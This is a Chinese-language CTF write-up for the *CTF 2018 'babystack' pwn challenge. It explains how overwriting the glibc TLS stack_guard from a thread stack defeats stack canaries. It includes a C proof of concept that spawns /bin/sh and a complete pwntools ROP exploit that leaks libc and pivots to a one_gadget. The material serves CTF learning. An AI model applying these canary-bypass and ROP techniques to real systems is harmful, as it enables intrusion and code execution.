thread stack bypass canary和sixstar ctf babystack writeup

赛题链接

https://github.com/sixstars/starctf2018/tree/master/pwn-babystack
https://github.com/eternalsakura/ctf_pwn/tree/master/sixstar/sixstar/babystack
sixstar是真的良心,连赛题源码都放出了,十分适合学习。

前置技能

TLS和thread stack

用到的技术来源于New bypass and protection techniques for ASLR on Linux
这篇文章,我把其中重点的部分按照我的理解翻译了一下,如果有问题请指正~

线程局部存储(Thread Local Storage)是一种机制,通过该机制分配变量,以便每一个现存的线程都有一个变量实例。
它主要是为了避免多个线程同时访存同一全局变量或者静态变量时所导致的冲突,尤其是多个线程同时需要修改这一变量时。为了解决这个问题,我们可以通过TLS机制,为每一个使用该全局变量的线程都提供一个变量值的副本,每一个线程均可以独立地改变自己的副本,而不会和其它线程的副本冲突。从线程的角度看,就好像每一个线程都完全拥有该变量。而从全局变量的角度上来看,就好像一个全局变量被克隆成了多份副本,而每一份副本都可以被一个线程独立地改变。

这个机制在不同的架构和操作系统上的实现不同,本例实现在x86-64,glibc。
在本例中,mmap也被用来创建线程,这意味着如果TLS接近vulnerable object,它可能会被修改。
有趣的是,在glibc实现中,TLS被指向一个segment register fs(x86-64上),它的结构tcbhead_t定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;

它包括了stack_guard,即被称作canary的随机数,用来防止栈溢出。
它的工作模式是:当一个函数被调用,canary从tcbhead_t.stack_guard被放到栈上。在函数调用结束的时候,栈上的值被和tcbhead_t.stack_guard比较,如果两个值是不相等的,程序将会返回error并且终止。
研究表明,glibc在TLS实现上存在问题,线程在pthread_create的帮助下创建,然后需要给这个新线程选择TLS。
在为栈分配内存后,glibc在内存的高地址初始化TLS,在x86-64架构上,栈向下增长,将TLS放在栈顶部。
从TLS中减去一个特定的常量值,我们得到被新线程的stack register所使用的值。
从TLS到pthread_create的函数参数传递栈帧的距离小于一页。
现在攻击者将不需要得到leak canary的值,而是直接栈溢出足够多的数据来复写TLS中的tcbhead_t.stack_guard的值,从而bypass canary。
下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void pwn_payload() {
char *argv[2] = {"/bin/sh", 0};
execve(argv[0], argv, 0);
}

int fixup = 0;
void * first(void *x)
{
unsigned long *addr;
arch_prctl(ARCH_GET_FS, &addr);
printf("thread FS %p\n", addr);
printf("cookie thread: 0x%lx\n", addr[5]);
unsigned long * frame = __builtin_frame_address(0);
printf("stack_cookie addr %p \n", &frame[-1]);
printf("diff : %lx\n", (char*)addr - (char*)&frame[-1]);
unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) +
fixup;
// example of exploitation
// prepare exploit
void *exploit = malloc(len);
memset(exploit, 0x41, len);
void *ptr = &pwn_payload;
memcpy((char*)exploit + 16, &ptr, 8);
// exact stack-buffer overflow example
memcpy(&frame[-1], exploit, len);
return 0;
}

int main(int argc, char **argv, char **envp)
{
pthread_t one;
unsigned long *addr;
void *val;
arch_prctl(ARCH_GET_FS, &addr);
if (argc > 1)
fixup = 0x30;
printf("main FS %p\n", addr);
printf("cookie main: 0x%lx\n", addr[5]);
pthread_create(&one, NULL, &first, 0);
pthread_join(one,&val);
return 0;
}

运行结果。

1
2
3
4
5
6
7
blackzert@...sher:~/aslur/tests$ ./thread_stack_tls  1
main FS 0x7f4d94b75700
cookie main: 0x2ad951d602d94100
thread FS 0x7f4d94385700
cookie thread: 0x2ad951d602d94100
stack_cookie addr 0x7f4d94384f48
diff : 7b8

在当前栈帧和TCB结构之间的距离等于0x7b8,小于一页,只要溢出的字节够多,就可以把TCB中的tcbhead_t.stack_guard覆盖掉。

分析

先输入要输入的字节的数目,然后程序从终端读取输入内容,因为可输入的size最大0x10000,远大于栈的大小,栈溢出。

利用

checksec

利用思路

通过栈溢出构造rop,leak出libc的基地址,找到one_gadaget的偏移。
然后将这个地址读到bss段,然后leave&&ret,劫持rip到one_gadaget。

确定padding

s在rbp-0x1010,再加上old rbp即8个字节,到返回地址前一共是0x1018个字节。

leak libc

当我们调用puts.plt的时候,系统会将真正的puts函数地址link到got表的puts.got中,然后puts.plt会根据puts.got跳转到真正的puts函数上去。
然后我们需要一个gadget(pop rdi;ret)来传递参数。

使用工具ROPgadget寻找

1
2
3
4
5
6
7
8
9
10
parallels@ubuntu:~/ctf/6ctf/babystack$ ROPgadget --binary bs --only "pop|ret"
Gadgets information
============================================================
...
...
0x0000000000400c03 : pop rdi ; ret
0x0000000000400c01 : pop rsi ; pop r15 ; ret
...
...
Unique gadgets found: 12

然后减去puts在libc里的偏移就是libc的基地址。

one_gadget

直接用IDA搜索字符串/bin/sh,然后找到下面这种就是one_gadget,可以直接起shell。

也可以使用工具one_gadget

1
2
sudo apt install ruby
sudo gem install one_gadget

调用read把one_gadget的地址读到bss段

之前我们已经找到了gadget用来传递read的参数。

1
2
0x0000000000400c03 : pop rdi ; ret
0x0000000000400c01 : pop rsi ; pop r15 ; ret

调用read把one_gadget写到bss_addr。

通过leave先将rsp的值改为bss_addr,因为之前我们已经将one_gadget写到了bss_addr,然后通过ret,就可以劫持程序执行到one_gadget。

  • leave:
    在32位汇编下相当于:
    1
    2
    mov esp,ebp                                        
    pop ebp
  • ret
    相当于
    1
    pop rip

    getshell

    exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    # coding:utf-8
    from pwn import *

    libc = ELF("./libc.so")
    def menu(bytes,data):
    io.recvuntil("How many bytes do you want to send?\n")
    io.sendline(str(bytes))
    sleep(0.1)
    io.send(data)

    puts_plt = 0x4007C0
    read_plt = 0x4007E0
    leave_addr = 0x400A9B

    pop_rdi_addr = 0x400c03
    puts_got = 0x601FB0
    pop_rbp_addr = 0x400870
    pop_rsi_addr = 0x400c01

    bss_addr = 0x602030

    io = process('./bs',env = {"LD_PRELOAD" : "./libc.so"})
    # context.log_level = 'debug'
    payload = '\x00'*0x1010+p64(bss_addr-0x8)+p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)
    payload += p64(pop_rdi_addr) + p64(0)
    payload += p64(pop_rsi_addr) + p64(bss_addr) + p64(0)
    payload += p64(read_plt) + p64(leave_addr)
    payload = payload.ljust(0x2000,'\x00')
    menu(0x2000,payload)
    io.recvuntil('It\'s time to say goodbye.\n')
    base = u64(io.recv(6)+'\x00\x00')-libc.symbols['puts']
    io.send(p64(base+0xf1147))
    io.interactive()

    其他

    要拿到flag,还要在服务器上绕过之前0ctf一样的waf,这个没什么好说的,爆破就行,这里只贴出本地getshell的代码。